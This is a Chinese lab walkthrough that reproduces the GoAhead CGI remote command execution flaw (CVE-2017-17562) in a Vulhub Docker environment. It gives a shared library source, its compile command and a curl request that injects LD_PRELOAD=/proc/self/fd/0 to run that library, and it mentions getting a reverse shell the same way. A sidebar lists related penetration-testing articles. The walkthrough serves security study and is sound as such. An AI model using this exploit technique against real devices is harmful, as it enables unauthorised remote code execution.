利用Vulnhub复现漏洞 - GoAhead 远程命令执行漏洞(CVE-2017-17562)

2023-11-05

Vulnhub官方复现教程

https://vulhub.org/#/environments/goahead/CVE-2017-17562/

漏洞原理

GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序,这个漏洞就出现在运行CGI程序的时候。

GoAhead在接收到请求后,将会从URL参数中取出键和值注册进CGI程序的环境变量,且只过滤了REMOTE_HOSTHTTP_AUTHORIZATION。我们能够控制环境变量,就有很多攻击方式。比如在Linux中,LD_开头的环境变量和动态链接库有关,如LD_PRELOAD中指定的动态链接库,将会被自动加载;LD_LIBRARY_PATH指定的路径,程序会去其中寻找动态链接库。

我们可以指定LD_PRELOAD=/proc/self/fd/0,因为/proc/self/fd/0是标准输入,而在CGI程序中,POST数据流即为标准输入流。我们编译一个动态链接库,将其放在POST Body中,发送给http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0,CGI就会加载我们发送的动态链接库,造成远程命令执行漏洞。

参考链接:

复现漏洞

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/goahead/CVE-2017-17562

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:3分钟
环境启动后,访问http://your-ip:8080/即可看到欢迎页面。访问http://your-ip:8080/cgi-bin/index即可查看到Hello页面,即为CGI执行的结果。
在这里插入图片描述

漏洞复现

我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在Linux x86_64的机器中,所以我们直接用Linux PC编译即可。

动态链接库源码

#include <unistd.h>

static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
    write(1,"Hello: World!\n",14);
}

将上面的代码保存为.c文件

编译so文件

这样,before_main函数将在程序执行前被调用。
在.c文件的对应文件夹下,执行编译命令,编译.c文件为.so文件

gcc -shared -fPIC CVE-2017-17562.c -o CVE-2017-17562.so

在这里插入图片描述

发送payload

将payload.so作为post body发送:

curl -X POST --data-binary @CVE-2017-17562.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i 

在这里插入图片描述
可见,GoAhead 远程命令执行漏洞(CVE-2017-17562)已被成功输出,说明我们的动态链接库中的代码已被执行

编译一个反弹shell的代码,成功反弹shell:
[外链图片转存失败(img-kRMZuEcz-1562640019900)(https://vulhub.org/vulhub/goahead/CVE-2017-17562/2.png)]

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

利用Vulnhub复现漏洞 - GoAhead 远程命令执行漏洞(CVE-2017-17562) 的相关文章

  • vulnhub靶场之THALES: 1

    x1f680 优质资源分享 x1f680 学习路线指引 xff08 点击解锁 xff09 知识定位人群定位 x1f9e1 Python实战微信订餐小程序 x1f9e1 进阶级本课程是python flask 43 微信小程序的完美结合 xf
  • Frp某场景下实现多层代理

    注 由于传播 利用本文章所提供的信息而造成的任何直接或者间接的后果及损失 均由使用者本人负责 本文作者不为此承担任何责任 一旦造成后果请自行承担 目录 frp简介 部分配置参数说明 实验场景 实验场景 实验环境 实验步骤 第一层隧道 第二层
  • ssh渗透与hydra爆破(简明不啰嗦)

    适合新手上路 MSF与hydra两种方式渗透22端口 后进行远程连接 如有不足请各位见谅 此次实验仅供参考 切勿做违法犯罪 出事一切与本人无关后果自负 希望大家早日成为白帽子 渗透机 kali 靶机 192 168 75 128 1 扫描局
  • hydra详细介绍及渗透利用大全(超细)

    hydra小白渗透路上必须掌握的工具 历史我就不介绍了百度上更详细 本内容仅供参考 切勿做违法犯罪 若出事一切与本人无关 请大家遵守网络安全法 祝大家早日成为安全界的大佬 Hydra 参数介绍 R 根据上一次进度继续破解 S 使用SSL协议
  • vulnhub靶机Thoth-Tech

    下载地址 https download vulnhub com thothtech Thoth Tech ova 主机发现 arp scan l 目标 192 168 21 148 端口扫描 nmap min rate 10000 p 19
  • vulnhub Pwned: 1

    渗透思路 nmap扫描端口 gobuster扫描网站目录 burp爆破网站目录 网站源代码泄露ftp用户名密码 ariana用户用id rsa进行ssh登录 sudo bash脚本提权到selena 利用docker越权查看文件 环境信息
  • 利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

    JBoss 4 x JBossMQ JMS 反序列化漏洞 CVE 2017 7504 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 漏洞复现 发送POC 通过命令 通过 BurpSuit 发送 检测POC是否成功 Vulnhub
  • 跨站请求伪造CSRF(Cross-site request forgery)

    目录 一 什么是CSRF 二 可能存在CSRF攻击的三个条件 一个相关的动作 基于 Cookie 的会话处理 没有不可预测的请求参数 二 常见的CSRF攻击 1 CSRF令牌的验证取决与请求方法 2 CSRF令牌的验证取决与令牌是否存在 3
  • VulnHub-Sick0s1.2

    目录 简介 信息收集 漏洞发现 漏洞利用 权限提升 总结 简介 该靶机是Sick0s系列的第二个靶机 总体来说不难 提权那里需要花点时间 毕竟linpeas脚本没有将计划任务标红 总之我个人尝试了很久内核提权 浪费了大量时间 而且不知道是w
  • VulnHubBreach1.0[渗透测试]新手必看

    靶机下载地址 https download vulnhub com breach Breach 1 0 zip 前言 将下载好的靶场导入VMware 虚拟机设置网络模式为nat模式 即可开启渗透 阅读readme txt 作为多部分系列的第
  • 利用Vulnhub复现漏洞 - Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    Apache Log4j Server 反序列化命令执行漏洞 CVE 2017 5645 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 漏洞复现 payload 检测 Vulnhub官方复现教程 https vulhub org
  • 利用Vulnhub复现漏洞 - Gogs 任意用户登录漏洞(CVE-2018-18925)

    Gogs 任意用户登录漏洞 CVE 2018 18925 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 漏洞复现 失误原因 Vulnhub官方复现教程 https vulhub org environments gogs CVE
  • 利用Vulnhub复现漏洞 - Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)

    Jenkins CI 远程代码执行漏洞 CVE 2017 1000353 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 漏洞复现 生成序列化字符串 发送数据包 执行命令 检验 Vulnhub官方复现教程 https vulhub
  • kali使用aircrack无线攻击wifi超详细步骤(包含监听网卡启动,获得握手包,密码本生成)

    平台及工具 linux kali平台 aircrack ng 工具 免驱监听网卡 详细操作 1 首先启动kali 插入网卡 输入ifconfig查看kali是否检测到监听网卡 注意监听网卡要免驱动的 ifconfig 查看自身网卡信息 如图
  • NTLM及Kerberos认证原理摘录

    目录 NTLM 前言 认证流程 本地认证 NTLM Hash的生成 Kerberos认证 概念 认证流程 编辑Kerberos协议四个角色介绍 KDC的介绍 Kerberos认证 大体分为三个流程 Authentication Servic
  • ATT&CK - T1546.003

    事件触发的执行 WMI事件订阅 目的 出现场景 ATT CK T1546 003 https attack mitre org techniques T1546 003 检查方式 复现方式 目的 建立持久性 出现场景 比如一些病毒的启动方式
  • 利用Vulnhub复现漏洞 - Adobe ColdFusion 反序列化漏洞(CVE-2017-3066)

    Adobe ColdFusion 反序列化漏洞 CVE 2017 3066 Vulnhub官方复现教程 漏洞原理 复现漏洞 启动环境 漏洞复现 生成POC 发送POC 发送POC内容 检验POC 进入容器 通过DockerID进入容器 查看
  • 利用Vulnhub复现漏洞 - Imagetragick 命令执行漏洞(CVE-2016–3714)

    Imagetragick 命令执行漏洞 CVE 2016 3714 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 漏洞复现 端口设置 浏览器设置 BurpSuit设置 上传POC 反弹shell POC Vulnhub官方复现教
  • SQL SERVER的注入要点

    SQL SERVER的注入要点 一 SQLServer数据库的查询语句 函数查询 1 select version 查询数据库的版本 2 select host name 查询主机名 如果是用navicat远程连接的话 主机名是本地的名字
  • vulnhub之vegeta

    目录 一 主机发现 二 端口扫描 四 信息收集 五 cyberchef解密 1 两道base64解密 2 save保存 3 qrcode module 4 二维码提取工具zbaring 六 大字典跑目录 七 bulma 八 音频分析软件au

随机推荐

  • 银行项目测试

    主要的核心业务 存款业务 吸收客户的存款 为客户发放利息 属于负债业务 贷款业务 发放贷款给客户 收取客户的利息 属于银行的资产业务 中间业务 银行已中间人的身份 为客户办理业务 收取客户的手续费 例如 批量代发工资 批量代收水 电 燃气费
  • 华为OD机试 Python 【单词加密】

    题目 给你一句英文 里面有很多单词 单词间用空格隔开 我们要对这句子做点的变化 加密规则 如果单词里有元音 a e i o u 大小写都算 就把元音变成 如果一个单词完全没有元音 那就让这个单词的第一个和最后一个字母交换位置 输入 一句英文
  • SKB几个复制函数的区别

    1 skb clone Skb clone 函数只是复制sk buff结构 并不复制skb的数据缓冲区 Clone后的sk buff结构与原始的sk buff指向同一数据缓冲区 原始的和clone后的skb描述符的cloned值都会被置1
  • 前端基础之滚动显示

    marquee滚动标签 注 该标签已经过时 被w3c弃用 使用样例
  • 设计模式(一)- 模板方法模式

    模板方法模式 文章目录 模板方法模式 1 模板方法模式 1 介绍 2 应用实例 代码 1 父类抽象模板 统一方法定为final 2 子类去实现不同的方法 3 其他子类实现不同的方法 4 结果展示 1 模板方法模式 在模板模式 Templat
  • 微信小程序 功能页导航 functional-page-navigator 组件

    完整微信小程序 Java后端 技术贴目录清单页面 必看 仅在插件中有效 用于跳转到插件功能页 属性 类型 默认值 必填 说明 最低版本 version string release 否 跳转到的小程序版本 线上版本必须设置为 release
  • linux安装idea并创建快捷方式

    一 安装 1 下载 在linux自带的火狐浏览器打开下载更方便 下载 IntelliJ IDEA JetBrains 功能强大 符合人体工程学的 Java IDE 选择Linux 这里以下载社区版为例 我下载的版本是2022 2 3 文件名
  • 了解应用层

    应用层 1 概述 2 应用程序组织方式 2 1 C S方式 2 1 P2P方式 3 动态主机配置协议DHCP 3 1 DHCP工作流程 4 域名系统DNS 4 1 域名结构 4 2 域名分类 4 3 域名服务器 4 3 1 分类 4 4 D
  • Python-爬虫(Scrapy爬虫框架,爬取豆瓣读书和评分)

    文章目录 1 Scrapy注意点 2 Scrapy爬取豆瓣读书和评分 代码部分 数据定义items py 爬虫部分spiders book py 数据存储部分pipelines py 启动爬虫执行cmd命令 start py 1 Scrap
  • QT设计电子时钟类

    1 界面效果 2 类的声明 wedgit h class Widget public QWidget Q OBJECT public Widget QWidget parent nullptr 默认构造函数 Widget 默认析构函数 vo
  • 磁共振检查头部能检测出什么_头部核磁共振可以检查什么?

    很多人会疑惑为什么要做头部核磁共振 做CT不好吗 这是因为脑CT具有一定的局限性 有时候脑CT是不能诊断出脑部异常情况的 头部核磁共振检査较CT更为敏感 具有多方向切层 多参数成像的特点 能更精确的现实病变位置 范围大小及组织学特性 是发现
  • 【Java】利用SpringBoot搭建WebService服务接口

    前言 在项目开发过程中经常会碰到对接医疗软件系统的时候对方要求提供WebService形式的接口 本篇文章记载了个人对接项目过程中整合并搭建的WebService形式的接口 希望对您能够有所帮助 一 在pom xml文件中导入WebServ
  • 期权、期货及其他衍生产品 第一章读书笔记

    期权 期货及其他衍生产品 第一章读书笔记 介绍 什么是衍生产品 衍生产品的特点 有哪些交易所场所 交易所市场 一些著名的交易所市场 场外市场 我国的场外市场 远期合约 远期合约可以用来对冲外汇风险 远期合约的收益 远期价格和即期价格 期货合
  • lua学习笔记—table

    1 什么是table table是lua的一种数据结构 可以用来创建数组或映射 lua中的table使用的是关联型数组 关联数组的key值可以是除过nil之外任意类型的值 table的大小是不固定的 可以自己进行扩容 2 如何构造table
  • iOS autorelease 示例研究

    iOS autorelease是Objective C中的一个自动内存管理机制 它通过在对象创建时将其添加到自动释放池中 在池被释放时自动释放对象 从而减少手动内存管理的工作量 本文将介绍如何使用autorelease机制来管理内存 aut
  • 跨部门的高效沟通与协作

    在企业管理当中 沟通是一个非常重要的技能 它运用我们管理当中每一个细节 首先要做好沟通和协作 我们需要有一个很好的思维模式 这个就像盖房子一样 它是地基 是一个房子的地基部分 没有一个正确的思维模式 那我们其后的技巧都不会有一个很好的效果
  • 大数据框架总结

    hdfs 1 写数据流程 2 HDFS读数据流程1 3 HDFS副本节点选择 4 HDFS nn 2nn 镜像文件以及编辑日志的工作机制 注意此类机制都是先更新编辑日志 再更新内存文件block元数据 checkpoint触发默认条件是一小
  • 谈谈虚幻引擎4的Global Illumination

    本届GDC 2013 Epic再次展示了UE4的最新demo 效果惊艳毋庸置疑 不过今天我们只谈UE4的光照利器 SVOGI SVOGI全称Sparse Voxel Octree Global Illumination 由Epic的Andr
  • DES的加密与解密(C语言实现)——大三密码学实验

    目录 DES的描述 Feistel体制 密钥扩展函数 F函数 总流程 代码 get函数的构建 yihuo函数的构建 fuck函数的构建 left move函数的构建 exchange函数的构建 erzhuanshi函数的构建 shizhua
  • 利用Vulnhub复现漏洞 - GoAhead 远程命令执行漏洞(CVE-2017-17562)

    GoAhead 远程命令执行漏洞 CVE 2017 17562 Vulnhub官方复现教程 漏洞原理 复现漏洞 启动环境 漏洞复现 动态链接库源码 编译so文件 发送payload Vulnhub官方复现教程 https vulhub or